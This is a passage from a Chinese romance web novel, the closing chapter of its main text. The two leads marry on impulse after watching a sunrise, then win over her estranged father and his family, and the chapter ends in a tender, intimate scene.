梁嘉序松开她,凝着她水润的眼,眼底的占有欲疯狂翻涌,似要将她吞噬。 这是她从前很惧怕的眼神,但此刻,她敢正面迎接。 孟尘萦按在他肩头的手指轻轻一缩,下一秒,无尽的黑压了来。 熟悉又湿润的唇将她覆住。 他探了进来,嚣张又霸道地勾缠她的舌尖,吮她舌尖的水,一点点地含弄,再用唇舌描绘她唇型。呼吸交缠,四周气温在不断上涨,她心跳被一点点挑了起来,气息喘了喘,剩下的所有声音被他汹涌的浪潮覆盖。 她快不行了,手指紧紧抓他肩。 梁嘉序很好心地放过她,却仍是兴奋的,张狂又热烈地逼问她:“还喜欢我这样亲你么?” 孟尘萦羞地垂眸,又被他强迫抬起下颌直视他。 他坏的很,非逼迫她看他的眼睛。 “喜欢。”孟尘萦红着脸说。 他心口一烫,扣在她后脖颈的手将她送上前一寸:“为什么?” 孟尘萦抿了抿唇瓣的热度和湿润,再度主动吻上他的唇瓣。 与刚才她主动的蜻蜓点水不同,这是真正意义上她主动吻他,不是他的威胁,也不是他的要求,是她第一次,主动靠近他的吻,想把自己的所有给他的吻。 梁嘉序配合地张开唇瓣,任由她生涩地勾他,他眸色在细微的涌动,几乎要为她疯了。 孟尘萦松开他的唇瓣,认真且轻柔地说:“因为,跟喜欢的人接吻,是一件很幸福的事。” 她也总算明白,为什么梁嘉序会这么喜欢亲她。 第 72 章 正文完 第72章 第 72 章 是他,心甘情…… 天色渐明, 一辆黑色轿车在道路中平缓行驶,待旭日东升,一抹绚丽夺目的红渐渐晕染了半边天。 梁嘉序靠边停车, 副驾驶的女孩也缓缓睁开了眼,思绪很快被那抹美景吸引注意,她瞬间清醒起来, 开心地抓住他手臂摇晃:“梁嘉序,你看, 快看,是日出!” 她还从没看过这样美丽的日出! 梁嘉序勾唇轻笑, 歪着头看她:“这么开心?” 孟尘萦耳廓微红, 主动与他十指紧扣:“你特地带我来看的,对么?” 她密码本里也写过, 她很想看一次日出。 但好像她从长大后,就一直没什么机会, 而且这种小事, 其实她都忘掉许久了。 “喜欢么?” “嗯, 喜欢。” 时间还很早得很,靠近潭山的这条路上也空无一人。 在这样幽静的大自然中, 天地间似乎只剩下他们二人, 和美丽的日出。 孟尘萦仰着脸感叹这样的美景, 就连拿出手机拍摄都无法诠释出肉眼看到的震撼。 她一点点沉浸这样的氛围里,忽然感觉身侧有呼吸在靠近,她脸侧过去看,便直接贴上了梁嘉序温热的唇瓣。 在她意外的触碰下,他伸手搂住她后颈,加重了这个绵长的吻。 吻毕, 气息交缠,梁嘉序抵着她鼻尖,唇角展开笑意:“你想看日出,而我却想亲你。” “孟尘萦,是不是想骂我变态?” 孟尘萦脸微红,心想,他怎么又知道了,“怎么,不能骂啦?” “能啊。”他笑着用眼神勾她:“骂完了得对我负责。” “负什么责?” 车子继续行驶,天边的那抹红好像一直追在身后似的。 梁嘉序单手缓慢开车,一只手与她十指紧扣。 “走吧。” “去哪儿?” “民政局,谈谈给我负责的事儿。”- 顺利领到结婚证,这个过程比孟尘萦想的还要简单,但她这会儿真有点没回过神。 她和梁嘉序,才几个小时前正式定情。 天微亮,才看过了日出,他就直接开车回京市带她来民政局领证。 期间都完全没有给她考虑的时间,她也没想到自己人生中第一张结婚证,竟是这样草率定下。 不过,她心里好像挺激动。 她拿起红本本遮住微红的脸庞,看向身侧正在打电话的男人。 梁嘉序眼里衔着笑,虽在跟助理打电话,但目光一直望着她。 她主动朝他靠近,牵起他另一只手。 两分钟后,梁嘉序挂断工作电话,直接将她拦腰抱起。 在民政局门口,快中午了人虽然也不算很多,但孟尘萦还是吓到叫了出来,难免吸引了路人的注意。 一对年轻男女站在民政局门口,男人高调张扬地抱着怀里的女人,任谁都看得出来是刚领了结婚证的夫妻。 有路人震惊于这二人的颜值,悄悄拿出手机偷拍了几张图。 孟尘萦晃着腿,紧紧箍住梁嘉序脖颈:“梁嘉序,你干什么啊!” 他垂眸看她:“喊我什么?” 孟尘萦抿唇:“阿序。” 他略有不满,抱着她在怀里掂了下,“嗯?确定不改口?” “你知道我的手段。” 他低脸吻住她唇瓣:“老婆,你再钓我试试看。” 这声老婆喊得孟尘萦尾椎一阵酥麻,她手指蜷了起来,小声求饶:“外面有路人,一会儿回去……” “诶,等会,我电话震动了。” 她从口袋里把手机掏出来,是孟华淳来电。 孟尘萦按了接听,“喂,爸。” 孟华淳的声音从听筒那端传过来:“萦萦,你在哪儿?爸爸刚落地,想见你一面。” 孟尘萦眼眸微转,看向梁嘉序,在迟疑该怎么解释自己在民政局门口这事,正好那边又说:“方便让梁先生一同过来吗?爸爸也想亲自见见他。” 约定好地点,孟尘萦挂断电话,询问梁嘉序要不要过去。 他抱着她上车,神色淡然:“你觉得我会怕?” “……”孟尘萦瞥他:“可能是我怕。” 她爸要是反对他们在一起,谁知道梁嘉序会做出什么。 他提唇笑了笑,开车。 – 孟华淳找了家环境很安静的咖啡厅,现在时间还算早,才十一点多,咖啡厅内的人也不多。 孟尘萦和梁嘉序达到时,咖啡厅内正在播放抒情的音乐。 孟华淳坐在窗边,抱着手臂,在闭目养神。 孟尘萦主动去跟父亲打招呼,孟华淳睁开看到女儿,开心笑道:“这么快来了?” “坐。” 他又看向梁嘉序,“梁先生也请坐。” 梁嘉序礼貌喊了声叔叔,便自觉牵着孟尘萦坐在自己身旁。 两人手牵手坐在对面,这架势,孟华淳险些以为自己是来棒打鸳鸯的,当然,他回国也的确抱着这样的目的。 索性开门见山道:“梁先生是个很执着的人。” 梁嘉序淡笑,“的确。” 半点都不懂得谦虚?孟华淳更对他没什么好印象了,便直接道:“梁先生恐怕不知道,萦萦当初是怎么哭着拜托爸爸把她带走,我这女儿长这么大,从没跟父母提过任何要求,她能哭着恳求我,我想,梁先生应该做过很多伤害萦萦的事。” “我虽然不知道你使用了什么样的手段,把我女儿又拐了回来,但恕我直言,我不会同意你们在一起,这次我是来带走萦萦的。” 孟尘萦抿抿唇,想开口说话。 她的右手被梁嘉序握住,她侧眸看他,男人眉眼意气风发且张扬。 梁嘉序提唇笑了笑,很好脾气地问:“孟叔叔现在是以父亲的名义,要把萦萦从我身边带走?” 孟华淳:“是的。” 梁嘉序哂笑:“凭什么?凭您在她四岁时苦苦哀求你留下的时候,您狠心无情丢下她?还是凭她很多次希望你能回国看她的时候,您的一次又一次毁约?或是凭您这多年后,不知从何处冒出来的所谓慈父之爱?” “孟叔叔,您要弄明白一件事儿。” 孟华淳皱眉,心下不悦看着面前这位狂妄的年轻男人。 梁嘉序扬唇笑了笑,眉眼冷冽:“从来只有我,在拼命地把她挽留在自己身边。” “您现在以父亲的名义要把她带走,您想得倒挺美。” 孟华淳强忍着愤怒,质问道:“你就是这样跟长辈说话的?” 梁嘉序淡笑,直视他:“叔叔好,晚辈用了尊称。” 孟华淳脑仁子忽然一疼,他知道梁嘉序这人很难搞定,也想过这次回来带走女儿会很艰难,只是做梦都没料到,眼前这个年轻男人几句话,就把他堵得哑口无言。 他竟是无法反驳,只能搬出长辈的身份压他。 在两人之间氛围愈发剑拔弩张时,孟华淳的眼前忽然出现一本红色的结婚证,他神色稍怔,难以置信看向孟尘萦。 “萦萦?你怎么有这个……” 孟尘萦轻声道:“爸,你在来电话的时候,我刚跟他领证了。” 孟华淳大怒,追问道:“是他逼迫你的?” 孟尘萦摇头,认真说:“不是,我心甘情愿。” 孟华淳错愕,转而又反驳:“这怎么可能?萦萦,你别害怕,你要是真的不愿意跟梁嘉序在一起,爸爸会帮助你。” 他的确欠这个女儿太多太多,当初跟她母亲离婚,他和许乐芳都太年轻了,双方都不太想要孩子这个累赘,最后是双方权衡过后才定了下来。 孩子养在许乐芳那,他每个月多给点儿钱。 他是认真考虑过,对于一个孩子而言,父亲与母亲之间,孩子最离不开的是母亲,他认为那是给萦萦最好的选择。 离婚后,他开始全心拼搏自己的事业,去往了海城,待事业有了一番成就,他认识了陈若卿,因双方地位差距,他迟疑了很久,最终还是选择跟她一起出国打拼。 他出国之前,最放心不下的便是这个女儿。 在离开之际,他有许诺过一年会最少回来五次看她,到底为什么会一次次毁诺,他也有原因,他在国外有很重要的事业离不开,比起回国看女儿,他还是觉得事业更重要,但对女儿的愧疚也在不断加深,所以他只能多打一些钱给萦萦,让她不要生爸爸的气。 孟尘萦垂眸说:“爸,您给我打的钱,我没怎么碰过,我都存在妈妈那了,至于你愿不愿意找她要回来,您自己决定,我不想要。” 孟华淳难以置信问:“你为什么要跟爸爸这样生分?” 孟尘萦缓缓抬起眼看向父亲:“您都不要我了,还问我为什么对您生分?” 她唇角挂着淡淡的笑,目光平静毫无波澜。 孟华淳心里却猛地遭受重重的一击,他才看明白她眼神所表达的什么,眼眶微红:“原来你一直都在怨爸爸?” 孟尘萦道:“爸爸,您这次回国是为了我,我真的很感激,谢谢您,但我刚才说的都是真心话,我是心甘情愿跟梁嘉序在一起的,爸爸,您放心好吗?” 孟华淳心情沉重:“萦萦……” 望着父亲伤感的眼神,孟尘萦还是没忍住湿了眼眶,轻声说:“我知道您是为我好,您信我,我喜欢他,真的很喜欢。” 梁嘉序侧眸看她。 女孩眼眸在轻微颤抖,她在强忍着泪意,他紧紧握住她的手心,她感受到他给的力量,开始露出了笑容。 孟华淳细细打量面前二人,再看自己女儿。 虽说他之前也不太清楚他们之间的纠缠,但萦萦如今的眼神都跟那次逃离出国完全不一样,她现在和梁嘉序在一起,的确不是被勉强,是她心甘情愿。 “罢了,爸爸只在意你的想法,你要是真心喜欢他,爸爸就放心了。” 随后,孟华淳还是很不爽问:“只是这领证是不是草率了点?” 哪有这么快的?连双方家长都没通知,他都不知道,想必梁江两家也不知情。 孟尘萦脸一红,支支吾吾地说还好还好,其实心想还不是梁嘉序太急了,像生怕她跑了似的。 梁嘉序淡笑:“叔叔您放心,我会保护好萦萦。” 孟华淳认真打量面前的男人,尽管不太开心,但还是歇下棒打鸳鸯的念头。 “你要是做不到,我会再次把我女儿接走。” 梁嘉序黑眸微抬:“我不会给您这个机会。”- 梁家。 今晚是梁嘉序主动回来,家里除了梁承年和梁老爷子外,他还特地把江静娴也请了来。 对于他大费周章,竟是把快十年都没凑齐的一家子凑齐,江静娴都有点儿稀里糊涂的。 “阿序,干嘛呢?有什么大事宣布?” 梁嘉序牵着孟尘萦的手,眉眼张扬:“的确是大事,要正式把我的妻子介绍给你们认识。” “妻子?”梁老爷子最先反应过来,笑道:“小姑娘,我上次说什么来着,你们要是领证了就是他强迫的,对吗?” 江静娴也以为是强迫,不赞同道:“阿序,你这不太好,说好了给小孟六个月,这时间没到你就强迫她结婚,会不会过了点儿?你完全没考虑小孟的想法。” 梁承年也只笑笑不语。 梁嘉序还没说话,孟尘萦便主动说:“梁老先生,江阿姨,还有梁叔叔,结婚证是我自愿领的。” 她眉梢眼角含着春意,面对这三位重量级人物,很紧张又害羞:“虽说是有点突然了,但我心甘情愿。” 她也忽然觉得有点好笑,为什么跟梁嘉序领结婚证,大家都是这样的反应。 难道是之前梁嘉序闹得太过,或者这三位看着梁嘉序长大的人,很明白他性子,觉得把她绑去民政局强迫领证,也是他梁嘉序能做的出来的事。 其实,她内心也觉得,他真干得出这事。 不过现在不同,她自愿,愿意跟他结婚。 江静娴还是不大信:“真的吗?小孟你没骗阿姨?” 孟尘萦说:“没有骗您。” 江静娴默了会儿,认真看她的眼神,视线又转移到他们交握的手上,孟尘萦现在完全是情态尽显,对身旁男人的依赖与喜欢根本不是强迫能表现出来的。 江静娴弯唇笑了笑:“阿姨可太开心了,你们能好好的,就行。” 梁老爷子一脸不满,但看到两人交握的手也没说什么,只是不悦道:“都领证了还叫梁老先生?” 孟尘萦顿了会,看梁嘉序,他朝她笑了笑,她便生出勇气,乖巧地唤了声:“爷爷……” “嗯。”梁老爷子从鼻腔哼出腔调,看不出高不高兴,但没有反驳。 梁承年很温和地安抚道:“小孟,你别紧张,老爷子脾气惯来如此。” 家里所有人其实都拿梁嘉序没办法,老爷子不止一次怨过梁承年就生了一个,总不能把这个独苗苗赶出梁家,毕竟还指望他继承。 孟尘萦再次感叹,原来真的有人从出生就可以得到所有人的宠爱啊。 梁嘉序便是如此。 也怪不得他性子这般张扬狂妄,毕竟自小在这样的生存环境下长大。 梁嘉序淡声:“没什么事我们上楼了。” 江静娴笑笑不语,视线从二人脸上,不经意滑到梁承年那,蹙了蹙眉。 梁嘉序的房间在二楼。 孟尘萦也来过几次了,不算陌生。 回了房,梁嘉序把门一关,直接把人按在门板后:“一天之内把所有糟心人都解决了,你没什么想跟我说的?” 孟尘萦由衷佩服梁嘉序的行动能力。 他们大清早赶回京市,在中午之前领了证,领完证就去把她父亲的问题解决了,到了晚上又把自己父母爷爷都凑齐,当着最重量级的几位长辈面前,交代清楚他们的感情,也再也不会有任何阻碍。 他忍了许久,总算到了两人独处的时间。 梁嘉序青筋泛起的小臂撑在她身侧,把她圈在怀里,眉梢垂着看她。 孟尘萦:“有,你先放开我,我们好好说话。” 他勾唇笑了笑,遂将她打横抱起来,朝床上走去,落坐。 孟尘萦依偎他怀里,把自己所有的力量全部托付给他,她从没有这么松弛地任由自己被他公主抱过。 感情的转变,能从肢体语言中率先感受出来。 “这照片?” 孟尘萦被床头柜上那个相框吸引了注意。 这是她在游乐园坐旋转木马的照片。 她纤细的手指拿起相框,再看到这个画面,一时很是感慨。 这一幕过去了许久,实则她半点印象都没有了,那天是她人生中第一次去游乐园玩,但比起享受玩乐,她当时更多的是紧张和不安,基本只顾着想要怎么支开梁嘉序。 她也没想过留下任何回忆,他却已经帮她把自己人生中的第一次,记录了下来。 孟尘萦心情有点酸涩,正在努力地回忆那天跟梁嘉序在游乐园的场景。 梁嘉序右手贴上她脸庞,他清冽的呼吸一点点儿的打在她侧脸上,“那次去你家,很遗憾没有找到你任何童年的照片。” 他很好奇,小时候的孟尘萦是什么模样。 孟尘萦垂眸,遮住眼里的失落,淡笑说:“真不是我藏起来不给你,梁嘉序,你信么?我从小就没有照片。” 她父母感情不好,在她出生后,其实大多在吵架中度过,再到双方离婚,她跟了母亲,母亲成立新家庭后对她更加疏忽,给蓝芷拍纪念照的时候,她总是会被蓝建平恶意支开。 她的童年,就这样阴差阳错,从没有留下过任何痕迹。 孟尘萦还在想事情,眼前忽然一黑。 “你干什么……” 是梁嘉序用手心捂着她眼睛,挡住视线。 遮住了一会儿,让她适应了黑暗,梁嘉序贴在她脸庞的声音落在她耳畔,像钩子似的格外蛊惑:“再睁眼看看。” 孟尘萦耳朵微痒,感觉眼前的遮挡物挪开后,她缓缓睁开眼,过亮的光线瞬间出现在她眼里,她不适应地眨了眨。 眼前是梁嘉序的房间,她坐在他怀里,但她不懂,刚才那个行为是为什么…… 她扭过头,回头看他,猝不及防视线撞进他漆黑又温柔的眼眸。 梁嘉序长指拨动她鬓边微乱的发,那双眼,直勾勾看着她,比任何时候还能吞噬人心:“从今天起,你当是个全新的开始,今后孟尘萦的每一年,会有梁嘉序为你记录下来。” 这样的照片,以后只会有更多,更多。 孟尘萦这下明白,心尖被狠狠撞了一下的具象化。刚才,梁嘉序好像就这样闯进了她的心里,抚平她动荡落寞的伤口。 她从来不知道,原来他温柔地说出这些话来,是这样的震撼人心。 她一直对梁嘉序似乎有很大的误解,从前她只看到了他不好的一面,当真正接纳了他,才知道他是最好的。 他爱一个人,是拿命去爱,无论行动还是言语,他从不吝啬表达。 他看穿她所有的伪装,知晓她内心的失落。 他会一点点把她的遗憾所填满。 她感觉自己的心也要为他一点点化了,瘫软了。 “梁嘉序……” 她默默落泪,手指揪着他的衣襟:“谢谢你。” 梁嘉序抬起她下颌:“别跟我说谢谢。” 他唇瓣靠近,将要吻到时停下,呼吸将她圈得满满的,他把自己的所有的所有都给了她:“孟尘萦,你一定不会知道,在你说喜欢我时,我是这个世上得到最多的人。” 孟尘萦啪地一下,彻底抵挡不住。 在他吻上来前,她最先把自己送上去,主动含住他的唇瓣,舌尖探了进去。 她不太习惯这样主动且浓情的亲密,他们的缠绵从来都是梁嘉序引导,但从现在开始,她会回应他的感情。 她的脸被他捧起来,眼尾的泪水滑到他的掌心。 她从前觉得,梁嘉序出现在她的生命中,是老天带给她的折磨。 但不知何时起,折磨二字被她划得一干二净。 她开始觉得,生命中能有他,真好。 梁嘉序温热的手指揉着她耳垂,沙哑的声线钻进她心里:“孟尘萦,你困住了我,就再也不准放开。” 那年包厢里的乌龙事件,孟尘萦像只小蝴蝶飞进了梁嘉序的心里。 他用了四年时间,总算揪出当年她埋下的种子,为她回国。 经过长达两年的感情纠缠。 梁嘉序无比清楚。 从来都不是孟尘萦飞不出他的手掌心,而是他,心甘情愿被她困住。 ——正文完。